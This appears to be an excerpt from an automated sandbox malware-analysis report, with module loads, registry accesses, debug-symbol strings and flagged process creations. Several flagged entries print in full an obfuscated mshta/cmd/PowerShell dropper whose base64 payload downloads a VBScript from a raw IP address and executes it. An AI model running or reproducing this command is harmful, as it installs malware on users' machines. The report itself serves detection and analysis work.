Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\ieUnatt.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: $]q8C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.pdb source: powershell.exe, 00000003.00000002.2193576971.0000000005876000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000007.00000002.2449111434.000000000780A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2446732976.0000000007160000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ieUnAtt.pdbGCTL source: CasPol.exe, 0000000A.00000002.2504474616.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.2504474616.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000771000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000752000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: xwZkSdnVCDBnu.exe, 0000000B.00000002.3292602593.000000000010E000.00000002.00000001.01000000.0000000C.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2574159916.000000000010E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: ieUnAtt.pdb source: CasPol.exe, 0000000A.00000002.2504474616.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.2504474616.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000771000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000752000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: CasPol.exe, 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2507522915.0000000004F24000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2504430219.0000000004D75000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: caspol.pdb source: ieUnatt.exe, 0000000C.00000002.3295345373.00000000056FC000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3292845378.000000000343A000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2575663898.000000000345C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A59C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: CasPol.exe, CasPol.exe, 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, ieUnatt.exe, 0000000C.00000003.2507522915.0000000004F24000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2504430219.0000000004D75000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: \\?\C:\Windows\system32\TenantRestrictionsPlugin.dllurx.pdb source: powershell.exe, 00000003.00000002.2201696509.0000000007A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000007.00000002.2449111434.000000000780A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2446732976.0000000007160000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000007.00000002.2449111434.000000000780A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.emitiinstructionoperandresolverieigdnlib.utilslazylist`1iaibdnlib.dotnetpropertyattributesicdnlib.dotnet.mdrawmethodrowdnlib.dotnet.mdrawassemblyrowdnlib.threadingexecutelockeddelegate`3dnlib.dotnetmoduledefmddnlib.ioiimagestreamixiydnlib.dotnetclasssigizdnlib.dotnetstrongnamesignerdnlib.dotnetinvalidkeyexceptionitiuelemequalitycompareriviwipiqdnlib.dotnet.mdrawpropertyptrrowirisdnlib.threadinglistiteratealldelegate`1microsoft.win32.taskscheduler.fluentbasebuilderdnlib.dotnet.mdheapstreamdnlib.pepeimagednlib.dotnetitypedeffindermicrosoft.win32.taskschedulersnapshotitemdnlib.dotnetmemberrefdnlib.dotnetimemberrefresolverdnlib.dotnetconstantuserdnlib.dotnetimethoddecrypterdnlib.dotnetassemblynamecomparerdnlib.dotnetiresolutionscopednlib.dotnetsecurityattributednlib.dotnet.writerpeheadersoptionsdnlib.dotnet.writerioffsetheap`1dnlib.dotnetimethoddnlib.dotnetcorlibtypesdnlib.dotnet.writertablesheapdnlib.dotnet.emitopcodetypednlib.dotnetiassemblyresolverdnlib.dotnetassemblyattributesdnlib.dotneticustomattributetypednlib.dotnetdummyloggerdnlib.dotnet.mdrawfieldptrrowdnlib.dotnetiloggermicrosoft.win32.taskschedulerdailytriggerdnlib.dotnettyperefuserdnlib.dotnet.writerdummymodulewriterlistenerdnlib.dotnetassemblyhashalgorithmdnlib.dotnet.pdbpdbdocumentdnlib.dotnetpinvokeattributesdnlib.dotnetivariablednlib.dotnetresourcednlib.dotnet.writerchunklist`1dnlib.dotnetiistypeormethodmicrosoft.win32.taskschedulercustomtriggerdnlib.dotnet.writerstartupstubdnlib.dotnetgenericinstmethodsigdnlib.dotnetmemberrefuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetgenericparamdnlib.dotnet.writerchunklistbase`1dnlib.utilsextensionsdnlib.dotnetnativetypednlib.dotnet.mdrawenclogrowdnlib.dotnetgenericparamcontextdnlib.peimageoptionalheader64dnlib.dotnet.mdrawnestedclassrowdnlib.dotnetextensionsdnlib.dotneteventdefdnlib.dotnet.emitlocalc`5dnlib.dotneticontainsgenericparameterb`3b`1b`1b`1dnlib.dotnetitokenoperandc`1dnlib.dotnet.writerimdtablednlib.pedllcharacteristicsdnlib.dotnetifullnamednlib.dotnet.resourcesresourcereaderdnlib.dotnetstrongnamepublickeydnlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnetbytearrayequalitycomparerdnlib.dotnet.mdrawmethodsemanticsrowdnlib.ioiimagestreamcreatordnlib.dotnetvtablefixupsmicrosoft.win32.taskschedulertaskprincipalprivilegemicrosoft.win32.taskschedulertasksnapshotdnlib.dotnet.pdbsymbolreadercreatordnlib.dotnet.emitinstructionprinterdnlib.dotnettypeequalitycomparerdnlib.dotnet.mdimagecor20headerdnlib.dotnet.mdirawrowdnlib.dotnet.writermethodbodywriterjgmicrosoft.win32.taskschedulertaskregistrationinfojfjejdjcmicrosoft.win32.taskschedulershowmessageactionjbdnlib.dotnetihasdeclsecuritycomhandlerupdatejamicrosoft.win32.taskschedulereventtriggerdnlib.dotnetimanagedentrypointstartup_informationmicrosoft.win32.taskscheduler.fluentmonthlydowtriggerbuildermicrosoft.win32.taskschedulertaskauditrulednlib.dotnet.writerstrongnamesignaturednlib.dotnetitypednlib.dotnetsentinelsigdnlib.dotnet.mdicolumnreaderdnlib.dotnet.writermodulewritereventdnlib
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb(7q" source: powershell.exe, 00000003.00000002.2203495481.0000000008A68000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

PowerShell case anomaly found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior

Suspicious command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
